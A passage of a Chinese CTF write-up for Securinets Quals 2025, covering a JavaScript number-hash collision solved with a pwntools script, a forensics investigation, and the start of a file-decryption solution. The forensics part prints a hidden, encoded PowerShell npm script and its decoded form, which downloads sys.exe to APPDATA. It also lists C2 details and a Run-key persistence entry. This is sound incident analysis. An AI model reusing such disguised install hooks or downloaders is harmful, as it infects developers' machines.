Misc

md7

Challenge

md5 and md6 didnt’t settle with me when i’m dealing with numbers , so I’m presenting to you my md7 hashing factory

js
const fs = require("fs");const readline = require("readline");const md5 = require("md5"); const rl = readline.createInterface({  input: process.stdin,  output: process.stdout}); function askQuestion(query) {  return new Promise(resolve => rl.question(query, resolve));}  function normalize(numStr) {  if (!/^\d+$/.test(numStr)) {    return null;  }  return numStr.replace(/^0+/, "") || "0";} console.log("Welcome to our hashing factory ");console.log("let's see how much trouble you can cause"); function generateHash(input) {  input = input    .split("")    .reverse()    .map(d => ((parseInt(d, 10) + 1) % 10).toString())    .join("");   const prime1 = 31;  const prime2 = 37;  let hash = 0;  let altHash = 0;    for (let i = 0; i < input.length; i++) {    hash = hash * prime1 + input.charCodeAt(i);    altHash = altHash * prime2 + input.charCodeAt(input.length - 1 - i);  }    const factor = Math.abs(hash - altHash) % 1000 + 1;   const normalized = +input;  const modulator = (hash % factor) + (altHash % factor);   const balancer = Math.floor(modulator / factor) * factor;  return normalized + balancer % 1; } (async () => {  try {    const used = new Set();     for (let i = 0; i < 100; i++) {      const input1 = await askQuestion(`(${i + 1}/100) Enter first number: `);      const input2 = await askQuestion(`(${i + 1}/100) Enter second number: `);       const numStr1 = normalize(input1.trim());      const numStr2 = normalize(input2.trim());       if (numStr1 === null || numStr2 === null) {        console.log("Only digits are allowed.");        process.exit(1);      }       if (numStr1 === numStr2) {        console.log("Nope");        process.exit(1);      }       if (used.has(numStr1) || used.has(numStr2)) {        console.log("😈");        process.exit(1);      }        used.add(numStr1);      used.add(numStr2);       const hash1 = generateHash(numStr1);      const hash2 = generateHash(numStr2);       if (md5(hash1.toString()) !== md5(hash2.toString())) {        console.log(`⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣾⠟⠷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣤⣾⠿⢫⡤⠀⣄⢈⠛⠷⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⡶⠛⠋⢡⣾⡿⣿⡴⠁⠀⠀⣿⣾⣿⡁⠈⠛⠶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣦⣤⡀⠀⠀⠀⠀⢀⣤⡾⠟⠋⠐⠂⠸⠿⣿⣿⠿⠀⠩⠛⠀⠛⠻⣦⡅⠀⠀⠀⠀⠙⢧⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠌⠙⠷⣦⣴⡾⠟⡡⠴⠂⠀⠀⠀⠀⠀⠀⠙⠦⠴⣤⣄⡀⠛⠶⣽⣮⡀⠀⠀⠀⠀⠀⠻⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣧⣰⢠⢞⡛⠉⠙⠋⠁⠀⠀⠀⠀⠀⠀⣀⡀⢄⡂⢰⡘⢿⢻⣤⢃⠄⡉⢻⡗⠀⠀⠀⠀⠀⢿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⡇⣸⡇⠀⠀⠀⠀⠀⠀⠀⢀⡀⢾⣋⡝⣬⣟⣴⣫⣟⢾⣶⣿⣾⣤⣭⣿⠀⠀⠀⠀⠀⠘⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣧⣿⡇⠀⠀⠀⠀⠀⠀⢠⣼⠏⣾⣿⣽⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⡀⡀⣽⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣼⡧⠀⠀⠈⢀⣱⣘⣿⣿⣋⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣹⣿⣿⣿⣿⣤⠃⡜⢻⣟⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣯⣽⡗⣌⣺⠡⣘⣾⣿⣿⣿⣯⣞⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣹⣿⣿⣿⢧⣙⣔⣻⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⣿⣿⡹⢛⠶⣾⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡧⢌⠹⢹⣾⣿⢿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠿⣷⣌⢺⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠐⢪⡐⣣⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⣿⡿⠀⠉⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⢉⣦⣍⣝⣿⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⣿⠁⢰⠀⠁⢘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⣩⠒⢢⢰⡘⣿⣿⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣦⠟⠀⠀⠈⢩⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠱⠀⠈⠄⢂⣿⣿⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⡄⠀⠀⠀⠀⠀⠻⢿⣿⣿⣿⣿⡿⢟⣿⣿⣿⣿⢛⣿⣿⣿⡿⠉⠀⠀⠀⠀⢠⣸⣿⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡾⠟⠛⠛⠳⣶⣿⣟⢆⠀⠀⠀⠀⠀⠀⠙⣿⣿⣿⠱⣋⠔⡢⠑⣎⠣⣜⣶⠿⠃⠀⠀⠀⠀⠀⠠⠇⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣠⣤⠤⣤⣤⣼⠏⠀⠀⠀⠀⠀⠀⠙⠿⣿⣷⣄⠀⠀⠀⠀⠀⠈⠹⣿⡆⡑⠈⠄⠑⠨⢹⣥⣲⡶⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⡴⢾⣿⡿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠈⢿⣾⣅⠀⢈⠡⢩⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣴⣾⡟⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣥⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⢣⠀⠀⠀⢀⠀⠀⠀⢢⣾⣿⣿⣶⡼⢣⣽⣿⣻⡿⠀⠀⠀⠀⠀⠀⠀⠀⠈⢷⣄⠀⠀⠀⠀⠀⣤⡾⠋⠉⠀⠀⠹⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣷⢦⣄⣀⣠⣤⣴⣶⣿⣿⠟⠉⠀⠀⠀⠀⢳⡀⠀⢸⠟⢿⣿⣿⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠳⣄⠀⠀⠀⣿⠁⠀⠀⠀⠀⠈⠻⠦⠄⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣿⣮⣭⣥⣶⣾⣿⠟⠁⠀⠀⠀⠀⠀⠀⠈⢷⣦⡀⢛⡾⣿⣿⣿⣿⢿⣭⡖⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢳⣄⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣟⡛⡟⢿⢻⣟⣿⣿⠔⠂⠀⠀⠀⠀⠀⠀⠀⠀⠸⣷⣾⡐⣿⣿⣿⣼⡿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣆⣟⠀⠀⠀⠀⣠⡄⠀⠀⠀⠀⢻⡄⠀⠀⠀⠀⠀⢸⡯⢜⠩⢖⡩⡟⠙⢿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⢿⣷⣿⣿⡿⠟⠟⡁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡍⡇⠀⠀⠀⠀⣿⠇⠀⠀⠀⠀⢸⣇⠀⠀⠀⠀⠀⢸⣿⢎⡑⢮⣇⣇⠀⠀⢿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠩⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡜⡇⠀⠀⠀⠀⢿⡇⠀⠀⠀⠀⢼⣯⠀⠀⠀⠀⠀⠘⣿⢦⣱⣾⣿⠋⠀⠀⠀⠹⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⡼⡿⠀⣀⠀⠀⢺⣇⠀⠀⠀⠀⣸⣿⡀⠀⠀⠀⣀⣼⠟⠛⠉⠉⠀⠀⠀⠀⠀⢀⣼⣿⣶⡀⠀⠤⢀⡤⣤⣙⡴⣀⢤⣄⠲⠤⢄⡀⣀⡀⢀⣀⣀⡀⠄⡀⡀⢀⡀⢀⠀⡄⢤⡈⣵⡐⣷⣀⠈⡄⢈⠽⣿⡀⠆⢀⡤⢸⣿⣷⣠⣠⣼⠟⠁⠀⢀⣤⡤⣤⣤⣤⢶⣩⣾⣿⣿⠼⣇⠀⡆⢦⡔⢦⢭⡹⣬⢏⠶⣭⣛⢮⡝⣧⣾⡱⢮⣱⣙⢦⡵⣩⡶⣜⣬⡳⣎⣧⣝⡶⣽⠟⠷⠿⠛⠾⠿⡿⢷⣯⣬⣵⣷⣾⣿⣯⣿⣷⣠⣤⣼⣩⣴⣦⣭⣴⣽⣿⣿⣟⣩⢃⡾⢀⢣⠼⣦⢽⣚⡶⣽⣎⣿⣻⢶⣯⣟⣾⣳⢯⣟⣯⣷⣻⢮⣽⣷⣻⡽⣾⡽⣽⢾⡽⣞⣷`);        process.exit(1);      }       console.log("Correct!");    }     console.log("\ngg , get your flag\n");    const flag = fs.readFileSync("flag.txt", "utf8");    console.log(flag);   } finally {    rl.close();  }})();

Solution

本题要求与服务器进行100轮交互,每轮需要提供两个数字,服务器会使用一个给定的哈希函数对这两个数字进行校验,如果100轮校验全部通过就会返回flag

挑战的核心在于理解附件中提供的 generateHash 函数并找到一种方法来构造两个不同的输入使其产生相同的哈希值

javascript
function generateHash(input) {  // Step 1: reverse digits and map d → (d+1)%10  input = input    .split("")    .reverse()    .map(d => ((parseInt(d, 10) + 1) % 10).toString())    .join("");   const prime1 = 31;  const prime2 = 37;  let hash = 0;  let altHash = 0;    for (let i = 0; i < input.length; i++) {    hash = hash * prime1 + input.charCodeAt(i);    altHash = altHash * prime2 + input.charCodeAt(input.length - 1 - i);  }    const factor = Math.abs(hash - altHash) % 1000 + 1;   const normalized = +input;  // 转为数字  const modulator = (hash % factor) + (altHash % factor);   const balancer = Math.floor(modulator / factor) * factor;  return normalized + balancer % 1; }

我们可以将这个函数分解为三个主要步骤来理解:

第一步:输入预处理

javascript
input = input  .split("")  .reverse()  .map(d => ((parseInt(d, 10) + 1) % 10).toString())  .join("");

这部分代码对输入的数字字符串进行了转换:

  1. .split(""):将字符串分割成单个字符的数组,例如 "199" 变为 ['1', '9', '9']
  2. .reverse():翻转数组,例如 ['1', '9', '9'] 变为 ['9', '9', '1']
  3. .map(d => ...):对数组中的每个数字字符 d 执行一个转换操作:
    • parseInt(d, 10):将字符转换为数字
    • + 1:加一
    • % 10:对10取模
    • 这个操作实际上是一个简单的替换密码:0→1, 1→2, …, 8→9, 9→0
  4. .join(""):将处理后的数组重新组合成一个字符串

第二步:哈希计算

javascript
const prime1 = 31;const prime2 = 37;let hash = 0;let altHash = 0; for (let i = 0; i < input.length; i++) {  hash = hash * prime1 + input.charCodeAt(i);  altHash = altHash * prime2 + input.charCodeAt(input.length - 1 - i);}

这部分代码计算了两个多项式滚动哈希(Polynomial Rolling Hash),hash 是对预处理后的字符串进行正向哈希计算,而 altHash 是对其进行反向哈希计算

第三步:最终值计算与返回

javascript
const factor = Math.abs(hash - altHash) % 1000 + 1; const normalized = +input;  // 转为数字const modulator = (hash % factor) + (altHash % factor); const balancer = Math.floor(modulator / factor) * factor;return normalized + balancer % 1; 
  1. factor, modulator, balancer 都是基于前面计算的 hashaltHash 生成的中间变量
  2. const normalized = +input; 使用一元加号 + 将预处理后的字符串 input 转换成一个数字,这个转换会自动忽略字符串前导的零,例如字符串 "0002" 会被转换为数字 2
  3. return normalized + balancer % 1; 是函数的返回值,由于 balancer 是一个整数(Math.floor(...) * factor),所以 balancer % 1 的结果永远是 0
  4. 因此整个函数的返回值实际上就是 normalized,也就是预处理后的字符串去掉前导零并转换为数字的结果

结论: 函数的最终输出完全取决于第一步的预处理结果 generateHash(input) = Number(preprocess(input))

既然我们知道了函数的真实行为,我们的目标就变成了找到两个不同的输入 num1num2,使得它们经过预处理后,转换成数字的结果相同

preprocess(input) 的关键在于两点:

  1. 翻转字符串
  2. 将每个数字 d 替换为 (d+1)%10(特别地,'9' 会变成 '0'

利用 '9' -> '0' 这个特性,我们可以在一个数字的末尾添加任意数量的 '9'
让我们比较 AA + "999" (其中 A 是任意数字字符串)的哈希过程。

  • 对于输入 A:

    1. 预处理得到 transform(reverse(A))
    2. 转换为数字得到 Number(transform(reverse(A)))
  • 对于输入 A + "999":

    1. reverse 得到 reverse("999") + reverse(A),即 "999" + reverse(A)
    2. map 转换:transform("999") 得到 "000"
    3. 预处理后的字符串为 "000" + transform(reverse(A))
    4. 转换为数字:Number("000" + transform(reverse(A))),由于 Number() 会忽略前导零,这个结果与 Number(transform(reverse(A))) 完全相同

结论: 对于任意数字字符串 AgenerateHash(A)generateHash(A + "999") 的结果永远是相同的,这就构成了一个完美的哈希碰撞

python
from pwn import * # Connect to serverr = remote("numbers.p2.securinets.tn", 7011) # Receive welcomeprint(r.recvuntil(b"cause").decode()) for i in range(100):    # a = str(i+1), b = a + "999"    a = str(i + 1)    b = a + "999"        print(f"[{i+1}/100] Sending {a} and {b}")        r.recvuntil(f"({i+1}/100) Enter first number: ".encode())    r.sendline(a.encode())        r.recvuntil(f"({i+1}/100) Enter second number: ".encode())    r.sendline(b.encode())        # Read response    resp = r.recvline().decode().strip()    print(f"Response: {resp}")    if "Correct!" not in resp:        print("Failed!")        break # Get flagflag = r.recvall(timeout=2).decode()print("FLAG:", flag)
text
...[100/100] Sending 100 and 100999Response: Correct![x] Receiving all data[x] Receiving all data: 54B[+] Receiving all data: Done (54B)[*] Closed connection to numbers.p2.securinets.tn port 7011FLAG:gg , get your flagSecurinets{floats_in_js_xddddd}

FLAG

text
Securinets{floats_in_js_xddddd}

Forensics

Silent Visitor

Challenge

A user reported suspicious activity on their Windows workstation. Can you investigate the incident and uncover what really happened?

https://drive.google.com/file/d/1-usPB2Jk1J59SzW5T_2y46sG4fb9EeBk/view?usp=sharing

Solution

1

What is the SHA256 hash of the disk image provided?

用工具算一下就行

text
文件名称: test.ad1文件大小: 0.98 GB (1,062,506,312 字节)MD5: e9870e7237052f8877e232409daa4634SHA1: 436e99d31fdeda041ab8141430402396c8f892f9SHA256: 122b2b4bf1433341ba6e8fefd707379a98e6e9ca376340379ea42edb31a5dba2SHA512: dc431dda49e8a2169dfc38de9e335c7609027ad0fdb0d8adf3a87a17b7aaa7cae4924f17c52fd64d422a12f42b91395da2160d2c677f76f883b82758ea84e711CRC32: e6059fa3

122b2b4bf1433341ba6e8fefd707379a98e6e9ca376340379ea42edb31a5dba2

2

Identify the OS build number of the victim’s system?

SecurinetsCTFQuals2025-1

19045

3

What is the ip of the victim’s machine?

SecurinetsCTFQuals2025-2

192.168.206.131

4

What is the name of the email application used by the victim?

找到目录 F:\C___NONAME [NTFS]\[root]\Program Files\Mozilla Thunderbird

Thunderbird

5

What is the email of the victim?

SecurinetsCTFQuals2025-3

ammar55221133@gmail.com

6

What is the email of the attacker?

SecurinetsCTFQuals2025-4

masmoudim522@gmail.com

7

What is the URL that the attacker used to deliver the malware to the victim?

run this 这封邮件内容如下:

text
Hey hey! Just pushed up the starter code here: 👉 https://github.com/lmdr7977/student-api You can just clone it and run npm install, then npm run dev to get it going. Should open on port 3000. I set up a couple of helpful scripts in there too, so feel free to tweak whatever. Lmk if anything’s broken 😅

里面一个仓库地址 https://github.com/lmdr7977/student-api

student-api/package.json at main · lmdr7977/student-api 第 7 行找到恶意语句

powershell
powershell -NoLogo -NoProfile -WindowStyle Hidden -EncodedCommand \"JAB3ACAAPQAgACIASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACIAOwAKACQAdQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADIAMwA4ADYAMAA3ADcAMwAvAHMAeQBzAC4AZQB4AGUAIgA7AAoAJABvACAAPQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABzAHkAcwAuAGUAeABlACIAOwAKAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgACQAdQAgAC0ATwB1AHQARgBpAGwAZQAgACQAbwA=\"

改成 powershell -NoLogo -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('BASE64...'))" 运行得到下面的内容

powershell
$w = "Invoke-WebRequest";$u = "https://tmpfiles.org/dl/23860773/sys.exe";$o = "$env:APPDATA\sys.exe";Invoke-WebRequest $u -OutFile $o

https://tmpfiles.org/dl/23860773/sys.exe

8

What is the SHA256 hash of the malware file?

Users\ammar\AppData\Roaming 找到 sys.exe

text
文件名称: sys.exe文件大小: 6.15 MB (6,450,688 字节)MD5: 3a10179d48eb4f25f36f581391faff26SHA1: 343140c487120beb5704aaf2bae89cd84daa44a6SHA256: be4f01b3d537b17c5ba7dc1bb7cd4078251364398565a0ca1e96982cff820b6dSHA512: 0784f3118b173ac449db68fd31b407ad3579a339506d4cb6e24ce10655aecfea24e69bcd1588c32d6c5e9907a597e96cee27ba9fbac965f7b16c2555b3721619CRC32: 92b65ddf

be4f01b3d537b17c5ba7dc1bb7cd4078251364398565a0ca1e96982cff820b6d

9

What is the IP address of the C2 server that the malware communicates with?

直接丢沙箱分析 奇安信情报沙箱

SecurinetsCTFQuals2025-5

40.113.161.85

10

What port does the malware use to communicate with its Command & Control (C2) server?

SecurinetsCTFQuals2025-6

5000

11

What is the url if the first Request made by the malware to the c2 server?

mcp 秒了(这题也许可以在虚拟机运行抓包进行流量分析,但是我刚把虚拟机打开就发现 mcp 跑出来了哈哈哈哈)

SecurinetsCTFQuals2025-7

http://40.113.161.85:5000/helppppiscofebabe23

12

The malware created a file to identify itself. What is the content of that file?

SecurinetsCTFQuals2025-8

F:\C___NONAME [NTFS]\[root]\Users\Public\Documents\id.txt

3649ba90-266f-48e1-960c-b908e1f28aef

13

Which registry key did the malware modify or add to maintain persistence?

SecurinetsCTFQuals2025-9

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MyApp

14

What is the content of this registry?

同上题

C:\Users\ammar\Documents\sys.exe

15

The malware uses a secret token to communicate with the C2 server. What is the value of this key?

mcp 在之前逆向的过程中顺手秒了:

main.main 函数中,我们已经确认了C2服务器的基础URL是 http://40.113.161.85:5000。同时,在 main.main 函数的第188行,我注意到 ptr_1 = ptr; // "e7bcc0ba5fb1dc9cc09460baaa2a6986",并且在第219行,这个 ptr 被赋值给了 p_main_plant->Secret.ptr。这意味着 e7bcc0ba5fb1dc9cc09460baaa2a6986 是恶意软件的一个秘密字符串。

e7bcc0ba5fb1dc9cc09460baaa2a6986

FLAG

text
What is the SHA256 hash of the disk image provided?Input: 122b2b4bf1433341ba6e8fefd707379a98e6e9ca376340379ea42edb31a5dba2Correct answerIdentify the OS build number of the victim鈥檚 system?Input: 19045Correct answerWhat is the ip of the victim's machine?Input: 192.168.206.131Correct answerWhat is the name of the email application used by the victim?Input: ThunderbirdCorrect answerWhat is the email of the victim?Input: ammar55221133@gmail.comCorrect answerWhat is the email of the attacker?Input: masmoudim522@gmail.comCorrect answerWhat is the URL that the attacker used to deliver the malware to the victim?Input: https://tmpfiles.org/dl/23860773/sys.exeCorrect answerWhat is the SHA256 hash of the malware file?Input: be4f01b3d537b17c5ba7dc1bb7cd4078251364398565a0ca1e96982cff820b6dCorrect answerWhat is the IP address of the C2 server that the malware communicates with?Input: 40.113.161.85Correct answerWhat port does the malware use to communicate with its Command & Control (C2) server?Input: 5000Correct answerWhat is the url if the first Request made by the malware to the c2 server?Input: http://40.113.161.85:5000/helppppiscofebabe23Correct answerThe malware created a file to identify itself. What is the content of that file?Input: 3649ba90-266f-48e1-960c-b908e1f28aefCorrect answerWhich registry key did the malware modify or add to maintain persistence?Input: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MyAppCorrect answerWhat is the content of this registry?Input: C:\Users\ammar\Documents\sys.exeCorrect answerThe malware uses a secret token to communicate with the C2 server. What is the value of this key?Input: e7bcc0ba5fb1dc9cc09460baaa2a6986Correct answerSahaaaaaaaaaaa Securinets{de2eef165b401a2d89e7df0f5522ab4f}by enigma522
text
Securinets{de2eef165b401a2d89e7df0f5522ab4f}

Lost File

Challenge

My friend told me to run this executable, but it turns out he just wanted to encrypt my precious file.

And to make things worse, I don’t even remember what password I used. 😥

Good thing I have this memory capture taken at a very convenient moment, right?

netorgft15219885-my.sharepoint.com/:u:/g/personal/fsaidi_intrinsic_security/EfLtokTYbq5PjzwHlOGDsK8BVlrHZY8CASz2VIkJXPewpQ?e=mm6bhs

mirror:
https://drive.google.com/file/d/1Vxd6M50—nzqK-9snaj1oujwK7va26Tx/view

Solution

查看进程列表发现可疑进程 cmd.exe (PID 2284),因为它的父进程 (PPID) 是 explorer.exe (PID 1512) ,即用户的桌面和文件管理器。当用户通过双击一个文件或者在“运行”中输入命令来启动一个程序时,这个新程序的父进程通常就是 explorer.exe,这很符合题目描述中的 “My friend told me to run this executable”,并且 cmd.exe 还是进程列表里最晚启动的一个进程

SecurinetsCTFQuals2025-10

因此下一步就要用 consoles 恢复在命令行窗口里输入和输出的内容

SecurinetsCTFQuals2025-11

发现用户在 C:\Documents and Settings\RagdollFan2005\Desktop 目录下给 locker_sim.exe 传了个参数 hmmisitreallyts

因此接下来要在磁盘镜像中找到这个程序:

SecurinetsCTFQuals2025-12

发现在这个目录下还存在一个看起来像是被加密过的文件 to_encrypt.txt.enc,把它也一起导出来

locker_sim.exe 丢给 mcp 分析得出以下结论:

程序使用 Windows CryptoAPI 实现 AES-256-CBC 加密;密钥与 IV 由一个拼接字符串的 SHA-256 摘要派生。具体流程如下:

  • 输入与环境收集
    • 读取命令行参数 argv[1](作为口令/标识)。
    • 从注册表读取本机计算机名,失败则用 “UNKNOWN_HOST”。
    • 读取同目录下 “secret_part.txt” 内容后立即删除该文件。
    • 目标明文文件为 “to_encrypt.txt”。
  • 密钥派生
    • 构造拼接字符串:payload = “<argv[1]>|<computer_name>|<secret_part>“(如果 secret_part 不存在则末尾 ’|’)。
    • 对 payload 进行 SHA-256,得到 32 字节哈希 H。
    • Key = H 的 32 字节。
    • IV = H 的前 16 字节(通过把 H 的前 16 字节以栈连续内存传给 KP_IV)。
  • 加密实现(aes256_encrypt_simple)
    • CryptAcquireContextA(…, PROV_RSA_AES, CRYPT_VERIFYCONTEXT) 获取提供者。
    • 以 PLAINTEXTKEYBLOB 格式构造密钥导入数据:
      • bType = 8 (PLAINTEXTKEYBLOB), bVersion = 2, aiKeyAlg = 26128 (CALG_AES_256), dwKeyLen = 32, 后接 32 字节 Key。
      • CryptImportKey 导入 AES-256 密钥。
    • CryptSetKeyParam(KP_MODE, 1) 设置模式为 CBC。
    • CryptSetKeyParam(KP_IV, IV) 设置 16 字节初始向量。
    • 为输出分配 Size_1 + 32 空间,调用 CryptEncrypt(…, Final=true, …) 完成填充与加密。
    • 默认填充为 PKCS#7(未显式设置 KP_PADDING,沿用默认)。
  • 文件输出
    • 将密文写回同目录 “to_encrypt.txt.enc”。
  • 错误提示
    • “SHA256 failed” 来自 sha256_buf 失败。
    • “Encryption failed” 来自 aes256_encrypt_simple 失败。
    • 找不到目标明文文件会提示并退出。

已通过反编译 main、sha256_buf、aes256_encrypt_simple 以及注册表读取和文件读取函数,结合 API 引用确认数据流、算法、模式与参数设置,逻辑已彻底厘清:AES-256-CBC,Key/IV 均由 SHA-256(argv[1]|computername|secret_part) 派生,IV 为摘要前 16 字节,填充为 PKCS#7。

然后接着让大模型生成对应的解密脚本:

python
#!/usr/bin/env python3# -*- coding: utf-8 -*-"""Decryptor for locker_sim.exe output (to_encrypt.txt.enc)Scheme reconstructed from reverse engineering:- payload = "password|computer_name|secret_part"- H = SHA256(payload bytes, UTF-8)- AES-256-CBC with:    * key = H (32 bytes)    * iv  = H[:16]- Padding: PKCS#7Fill the parameters below and run the script.Dependencies: pip install pycryptodome""" import hashlibfrom typing import Optional try:    from Crypto.Cipher import AES    from Crypto.Util.Padding import unpadexcept ImportError:    raise SystemExit("Missing dependency: pycryptodome. Install with: pip install pycryptodome") # ===== Fill these parameters =====PASSWORD: str = ""          # 原程序的 argv[1],你的口令或标识COMPUTER_NAME: str = ""     # 目标主机的计算机名(注册表读取的值,失败时程序使用 'UNKNOWN_HOST')SECRET_PART: str = ""       # secret_part.txt 的内容;若未知则留空字符串INPUT_ENC_PATH: str = "to_encrypt.txt.enc" # 加密文件路径,如 'to_encrypt.txt.enc'OUTPUT_DEC_PATH: str = "to_encrypt.txt"    # 解密输出路径,如 'to_encrypt.txt'# ================================ def derive_key_iv(password: str, computer_name: str, secret_part: str) -> tuple[bytes, bytes]:    """    Replicates: payload = "%s|%s|%s" and SHA256 over the resulting C string bytes    In C, empty secret_part still yields trailing '|'.    """    payload = f"{password}|{computer_name}|{secret_part}"    h = hashlib.sha256(payload.encode("utf-8")).digest()    key = h    iv = h[:16]    return key, iv def read_file_bytes(path: str) -> bytes:    with open(path, "rb") as f:        return f.read() def write_file_bytes(path: str, data: bytes) -> None:    with open(path, "wb") as f:        f.write(data) def decrypt_file(    input_path: str,    output_path: str,    password: str,    computer_name: str,    secret_part: str) -> Optional[str]:    """    Decrypt input_path using derived key/iv and write plaintext to output_path.    Returns None on success, or error message string on failure.    """    if not input_path or not output_path:        return "Please set INPUT_ENC_PATH and OUTPUT_DEC_PATH."     # Basic sanity checks mirroring original behavior assumptions    if password == "":        return "PASSWORD is empty. Please fill it."    if computer_name == "":        return "COMPUTER_NAME is empty. Use the actual host name or 'UNKNOWN_HOST'."     try:        ciphertext = read_file_bytes(input_path)    except Exception as e:        return f"Failed to read input file: {e}"     key, iv = derive_key_iv(password, computer_name, 